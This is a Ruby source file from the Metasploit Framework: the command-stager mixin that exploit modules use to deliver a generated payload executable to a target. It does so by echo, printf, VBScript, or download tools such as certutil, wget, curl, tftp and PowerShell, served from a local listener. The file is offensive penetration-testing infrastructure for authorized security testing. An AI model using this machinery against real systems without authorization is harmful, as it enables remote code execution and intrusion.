metasploit-framework/lib/msf/core/exploit/cmd_stager.rb

357 lines
12 KiB
Ruby

# -*- coding: binary -*-
require 'rex/exploitation/cmdstager'
module Msf
# This mixin provides an interface to generating cmdstagers
module Exploit::CmdStager
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager::HTTP
# Constant for stagers - used when creating an stager instance.
STAGERS = {
:bourne => Rex::Exploitation::CmdStagerBourne,
:debug_asm => Rex::Exploitation::CmdStagerDebugAsm,
:debug_write => Rex::Exploitation::CmdStagerDebugWrite,
:echo => Rex::Exploitation::CmdStagerEcho,
:printf => Rex::Exploitation::CmdStagerPrintf,
:vbs => Rex::Exploitation::CmdStagerVBS,
:vbs_adodb => Rex::Exploitation::CmdStagerVBS,
:certutil => Rex::Exploitation::CmdStagerCertutil,
:tftp => Rex::Exploitation::CmdStagerTFTP,
:wget => Rex::Exploitation::CmdStagerWget,
:curl => Rex::Exploitation::CmdStagerCurl,
:fetch => Rex::Exploitation::CmdStagerFetch,
:lwprequest => Rex::Exploitation::CmdStagerLwpRequest,
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest
}
# Constant for decoders - used when checking the default flavor decoder.
DECODERS = {
:debug_asm => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_asm"),
:debug_write => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_write"),
:vbs => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64"),
:vbs_adodb => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_adodb")
}
attr_accessor :stager_instance
attr_accessor :cmd_list
attr_accessor :flavor
attr_accessor :decoder
attr_accessor :exe
# Creates an instance of an exploit that uses an CMD Stager and register the
# datastore options provided by the mixin.
#
# @param info [Hash] Hash containing information to initialize the exploit.
# @return [Msf::Module::Exploit] the exploit module.
def initialize(info = {})
super
flavors = module_flavors
flavors = STAGERS.keys if flavors.empty?
flavors.unshift('auto')
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest}]
register_options(
[
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),
OptPort.new('SRVPORT', [true, "The local port to listen on.", 8080], conditions: server_conditions)
])
register_advanced_options(
[
OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']),
OptString.new('CMDSTAGER::TEMP', [false, 'Writable directory for staged files']),
OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false])
], self.class)
end
# Executes the command stager while showing the progress. This method should
# be called from exploits using this mixin.
#
# @param opts [Hash] Hash containing configuration options. Also allow to
# send opts to the Rex::Exploitation::CmdStagerBase constructor.
# @option opts :flavor [Symbol] The CMD Stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @option opts :delay [Float] Delay between command executions.
# @return [void]
def execute_cmdstager(opts = {})
self.cmd_list = generate_cmdstager(opts)
stager_instance.setup(self)
begin
execute_cmdstager_begin(opts)
sent = 0
total_bytes = 0
cmd_list.each { |cmd| total_bytes += cmd.length }
delay = opts[:delay]
delay ||= 0.25
cmd_list.each do |cmd|
execute_command(cmd, opts)
sent += cmd.length
# In cases where a server has multiple threads, we want to be sure that
# commands we execute happen in the correct (serial) order.
::IO.select(nil, nil, nil, delay)
progress(total_bytes, sent)
end
execute_cmdstager_end(opts)
ensure
stager_instance.teardown(self)
end
end
# Generates a cmd stub based on the current target's architecture
# and platform.
#
# @param opts [Hash] Hash containing configuration options. Also allow to
# send opts to the Rex::Exploitation::CmdStagerBase constructor.
# @option opts :flavor [Symbol] The CMD Stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @param pl [String] String containing the payload to execute
# @return [Array] The list of commands to execute
# @raise [ArgumentError] raised if the exe or cmd stub cannot be generated
def generate_cmdstager(opts = {}, pl = nil)
select_cmdstager(opts)
exe_opts = {code: pl}.merge(
platform: target_platform,
arch: target_arch
)
self.exe = generate_payload_exe(exe_opts)
if exe.nil?
raise ArgumentError, 'The executable could not be generated'
end
self.stager_instance = create_stager
if datastore['CMDSTAGER::TEMP']
opts[:temp] = datastore['CMDSTAGER::TEMP']
elsif datastore['WritableDir']
opts[:temp] = datastore['WritableDir']
end
if stager_instance.respond_to?(:http?) && stager_instance.http?
opts[:ssl] = datastore['CMDSTAGER::SSL'] unless opts.key?(:ssl)
opts[:payload_uri] = start_service(opts)
end
cmd_list = stager_instance.generate(opts_with_decoder(opts))
if cmd_list.nil? || cmd_list.length.zero?
raise ArgumentError, 'The command stager could not be generated'
end
vprint_status("Generated command stager: #{cmd_list.inspect}")
cmd_list
end
# Show the progress of the upload while cmd staging
#
# @param total [Float] The total number of bytes to send.
# @param sent [Float] The number of bytes sent.
# @return [void]
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
percent = "%3.2f%%" % done.to_f
print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total])
end
# Selects the correct cmd stager and decoder stub to use
#
# @param opts [Hash] Hash containing the options to select the correct cmd
# stager and decoder.
# @option opts :flavor [Symbol] The cmd stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @return [void]
# @raise [ArgumentError] raised if a cmd stager cannot be selected or it
# isn't compatible with the target platform.
def select_cmdstager(opts = {})
self.flavor = select_flavor(opts)
raise ArgumentError, "Unable to select CMD Stager" if flavor.nil?
raise ArgumentError, "The CMD Stager '#{flavor}' isn't compatible with the target" unless compatible_flavor?(flavor)
self.decoder = select_decoder(opts)
end
# Returns a hash with the :decoder option if possible
#
# @param opts [Hash] Input Hash.
# @return [Hash] Hash with the input data and a :decoder option when
# possible.
def opts_with_decoder(opts = {})
return opts if opts.include?(:decoder)
return opts.merge(:decoder => decoder) if decoder
opts
end
# Create an instance of the flavored stager.
#
# @return [Rex::Exploitation::CmdStagerBase] The cmd stager to use.
# @raise [NoMethodError] raised if the flavor doesn't exist.
def create_stager
STAGERS[flavor].new(exe)
end
# Returns the default decoder stub for the input flavor.
#
# @param f [Symbol] the input flavor.
# @return [Symbol] the decoder.
# @return [nil] if there isn't a default decoder to use for the current
# cmd stager flavor.
def default_decoder(f)
DECODERS[f]
end
# Selects the correct cmd stager decoder to use based on three rules: (1) use
# the decoder provided in input options, (2) use the decoder provided by the
# user through datastore options, (3) select the default decoder for the
# current cmd stager flavor if available.
#
# @param opts [Hash] Hash containing the options to select the correct
# decoder.
# @option opts :decoder [String] The decoder stub to use.
# @return [String] The decoder.
# @return [nil] if a decoder cannot be selected.
def select_decoder(opts = {})
return opts[:decoder] if opts.include?(:decoder)
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
default_decoder(flavor)
end
# Selects the correct cmd stager to use based on three rules: (1) use the
# flavor provided in options, (2) use the flavor provided by the user
# through datastore options, (3) guess the flavor using the target platform.
#
# @param opts [Hash] Hash containing the options to select the correct cmd
# stager
# @option opts :flavor [Symbol] The cmd stager flavor to use.
# @return [Symbol] The flavor to use.
# @return [nil] if a flavor cannot be selected.
def select_flavor(opts = {})
return opts[:flavor].to_sym if opts.include?(:flavor)
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
return datastore['CMDSTAGER::FLAVOR'].to_sym
end
guess_flavor
end
# Guess the cmd stager flavor to use using information from the module,
# target or platform.
#
# @return [Symbol] The cmd stager flavor to use.
# @return [nil] if the cmd stager flavor cannot be guessed.
def guess_flavor
# First try to guess a compatible flavor based on the module & target information.
unless target_flavor.nil?
case target_flavor
when Array
return target_flavor[0].to_sym
when String
return target_flavor.to_sym
when Symbol
return target_flavor
end
end
# Second try to guess a compatible flavor based on the target platform.
return nil unless target_platform.names.length == 1
c_platform = target_platform.names.first
case c_platform
when /linux/i
:bourne
when /osx/i
:bourne
when /unix/i
:bourne
when /win/i
:vbs
else
nil
end
end
# Returns all the compatible stager flavors specified by the module and each
# of its targets.
#
# @return [Array] the list of all compatible cmd stager flavors.
def module_flavors
flavors = []
flavors += Array(module_info['CmdStagerFlavor']) if module_info['CmdStagerFlavor']
targets.each do |target|
flavors += Array(target.opts['CmdStagerFlavor']) if target.opts['CmdStagerFlavor']
end
flavors.uniq!
flavors.map { |flavor| flavor.to_s }
end
# Returns the compatible stager flavors for the current target or module.
#
# @return [Array] the list of compatible cmd stager flavors.
# @return [Symbol] the compatible cmd stager flavor.
# @return [String] the compatible cmd stager flavor.
# @return [nil] if there isn't any compatible flavor defined.
def target_flavor
return target.opts['CmdStagerFlavor'] if target && target.opts['CmdStagerFlavor']
return module_info['CmdStagerFlavor'] if module_info['CmdStagerFlavor']
nil
end
# Answers if the input flavor is compatible with the current target or module.
#
# @param f [Symbol] The flavor to check
# @return [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f)
return true if target_flavor.nil?
case target_flavor
when String
return true if target_flavor == f.to_s
when Array
target_flavor.each { |tr| return true if tr.to_sym == f }
when Symbol
return true if target_flavor == f
end
false
end
# Code to execute before the cmd stager stub. This method is designed to be
# overriden by a module this mixin.
#
# @param opts [Hash] Hash of configuration options.
def execute_cmdstager_begin(opts = {})
end
# Code to execute after the cmd stager stub. This method is designed to be
# overriden by a module this mixin.
#
# @param opts [Hash] Hash of configuration options.
def execute_cmdstager_end(opts = {})
end
# Code called to execute each command via an arbitrary module-defined vector.
# This method needs to be overriden by modules using this mixin.
#
# @param cmd [String] The command to execute.
# @param opts [Hash] Hash of configuration options.
def execute_command(cmd, opts = {})
raise NotImplementedError
end
end
end